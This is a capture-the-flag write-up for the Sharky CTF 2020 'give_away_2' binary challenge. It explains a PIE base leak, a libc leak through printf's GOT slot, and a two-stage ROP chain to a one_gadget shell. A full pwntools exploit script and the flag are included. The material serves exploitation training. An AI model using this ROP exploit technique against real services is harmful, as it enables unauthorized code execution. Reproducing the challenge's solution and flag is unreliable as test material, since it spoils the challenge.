Sharky CTF 2020 / Published
give_away_2
A PIE binary that leaks main to beat ASLR, then leaks libc via printf's GOT entry before ROP-ing into a one-gadget shell.
Contents 4
Files 2
- Target
- amd64, glibc 2.27
- RELRO
- Full
- Canary
- Not found
- NX
- Enabled
- PIE
- Enabled
Make good use of this gracious give away.
Creator: Hackhim
Finding the buffer overflow
As with most pwn challenges, let’s start off by checking what kind of binary we’re given.
vagrant@ctf:/vagrant/challenges/sharky/give_away_two$ file give_away_2
give_away_2: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=5c93b7c4ff1a036cb291045d3ab76155d22ce1a6, not strippedOkay, it’s just a 64 bit ELF binary. Let’s run it to get a better idea of what it does.
vagrant@ctf:/vagrant/challenges/sharky/give_away_two$ ./give_away_2
Give away: 0x560f72579864
Seems like it just prints a hex value and gets some input from us. Hmm, this is very similar to give_away_1. Perhaps we should also test if the input is vulnerable to buffer overflow?
vagrant@ctf:/vagrant/challenges/sharky/give_away_two$ python -c 'print "A"*1024' | ./give_away_2
Give away: 0x55d1ba2a0864
Segmentation fault (core dumped)Resolving the PIE base from main
Yup I guess this is vulnerable too. Let’s open up the binary in IDA and see what the hex value is.
lea rsi, main
lea rdi, format ; "Give away: %p\n"
mov eax, 0
call printf ; printf("Give away: %p\n", main);Oh that’s perculiar, we’re given the address of main instead. Why would be possibly need that? This rings some bells. Let’s try checking what security features this binary has. We can do this with the checksec utility.
vagrant@ctf:/vagrant/challenges/sharky/give_away_two$ checksec give_away_2
[*] '/vagrant/challenges/sharky/give_away_two/give_away_2'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabledOkay, that explains it. This is a Position Independent Executable (PIE). In the context of this challenge, it means that the address of main would be different every run (assuming ASLR is turned on). We can verify this by running the binary multiple times.
vagrant@ctf:/vagrant/challenges/sharky/give_away_two$ ./give_away_2
Give away: 0x55d3de27b864
asdf
vagrant@ctf:/vagrant/challenges/sharky/give_away_two$ ./give_away_2
Give away: 0x559fd6f12864
asdf
vagrant@ctf:/vagrant/challenges/sharky/give_away_two$ ./give_away_2
Give away: 0x55803ddf9864
asdfGiven that the binary leaks the address of main, PIE is not much of an issue for us since we can now calculate the (base) address that the binary is loaded at.
base address = leaked main address - offset of main within the binaryLeaking libc for a one-gadget shell
As with give_away_1, we still need to get a shell on the system. Since this is a 64 bit ELF, there’s a nifty trick that we can use. Instead of calling system("/bin/sh"), we can use one_gadget to find a single gadget that can spawn a shell for us.
vagrant@ctf:/vagrant/challenges/sharky/give_away_two$ one_gadget libc-2.27.so
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULLEach one_gadget has an entry condition. The solve script selects the second one, at libc offset 0x4f322, which requires [rsp+0x40] == NULL at gadget entry. The script does not establish that condition, so reaching the gadget alone does not guarantee a shell. These offsets are relative to libc’s base, which the main leak does not resolve. We can obtain a separate libc leak by reusing the printf call instruction in main, then continue to another call to vuln for the second input.
.text:0000000000000872 lea rsi, main
.text:0000000000000879 lea rdi, format ; "Give away: %p\n"
.text:0000000000000880 mov eax, 0
.text:0000000000000885 call printfOffset 0x885 identifies the call printf@plt instruction in main, not the printf implementation. Adding it to the executable base locates that call site. The first payload passes the address of printf’s Global Offset Table (GOT) slot in RDI. That slot lies in the executable and contains a pointer to printf in libc. printf treats the slot’s bytes as a format string; this prints bytes read from GOT memory rather than formatting the pointer with %p.
The call at executable offset 0x885 returns to 0x88a. Execution then reaches the call at 0x88f, which enters vuln at 0x841 for another input. All four offsets are relative to the executable base. Subtracting printf’s libc offset from the recovered pointer gives the separate libc base.
The script assumes that this call emits six usable pointer bytes, then appends two zero bytes. That length is a solve assumption: a NUL byte can stop the output early, and a percent byte can be interpreted as a format directive.
This chain also skips mov eax, 0 at executable offset 0x880. It does not explicitly set AL for the variadic-call convention. The supplied libc’s printf tests whether AL is zero, and the shown chain preserves the stack alignment needed by its register-save path. This is a property of this build, not a general rule for calling printf through ROP.
Building the two-stage ROP exploit
Okay so let’s summarize our plan of attack:
- Leak the address of main (given to us)
- Calculate binary base address
- Calculate the address of the call instruction at executable offset
0x885 - Send the first ropchain with the GOT slot address in
RDI, then continue tovulnfor another input - Calculate libc base address based on leaked printf libc address
- Send the second ropchain to the selected one_gadget, whose entry condition remains unverified
The first chain uses the executable base to reach the printf call and return to another input. The second uses the recovered libc base to select the gadget.
All we need now is the padding. Let’s go for a more automated approach this time because why not? I’ve integrated it into the solve script below.
#! /usr/bin/python2
import os
from pwn import *
HOST = 'sharkyctf.xyz'
PORT = 20335
BINARY = './give_away_2'
elf = context.binary = ELF(BINARY)
libc = ELF('./libc-2.27.so')
# Gadgets
libc.symbols['one_gadget'] = 0x4f322
'''
One Gadget
----------
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
'''
# Offsets
elf.symbols['main_printf'] = 0x885
'''
.text:0000000000000872 lea rsi, main
.text:0000000000000879 lea rdi, format ; "Give away: %p\n"
.text:0000000000000880 mov eax, 0
.text:0000000000000885 call printf
'''
# RIP Padding
p = process(BINARY)
p.sendline(cyclic(64, n=8))
p.wait()
core = p.corefile
p.close()
os.remove(core.file.name)
PAYLOAD_PADDING = cyclic_find(core.read(core.rsp, 8), n=8)
log.success('Found padding length: {}'.format(PAYLOAD_PADDING))
# Start connection
r = remote(HOST, PORT)
# Stage 1: Get main leak
main = int(r.recvline().split()[2][2:], 16)
log.info('Leaked main address: 0x{:x}'.format(main))
# Stage 2: Build Rop Chain (leak printf@libc)
elf.address = main - elf.symbols.main
log.info('Calculated base address: 0x{:x}'.format(elf.address))
rop = ROP(elf)
rop.main_printf(elf.got.printf)
log.success('Built ROP Chain (Leak printf@libc)')
log.success(rop.dump())
# Stage 3: Leak printf@libc
r.sendline(fit({ PAYLOAD_PADDING: rop.chain() }))
log.success('Sent payload')
libc_printf = u64(r.recvn(6) + '\x00\x00') # Fix address width
log.info('Leaked printf@libc address: 0x{:x}'.format(libc_printf))
# Stage 4: Build ROP Chain (Call one_gadget)
libc.address = libc_printf - libc.symbols['printf']
log.info('Calculated libc base address : 0x{:x}'.format(libc.address))
rop1 = ROP([elf, libc])
rop1.one_gadget()
log.success('Built ROP Chain (Call one_gadget)')
log.success(rop1.dump())
# Stage 5: Pwn
r.sendline(fit({ PAYLOAD_PADDING: rop1.chain() }))
log.success('Sent payload')
log.progress('Spawning a shell...')
r.interactive()Result
Flag: shkCTF{It's_time_to_get_down_to_business}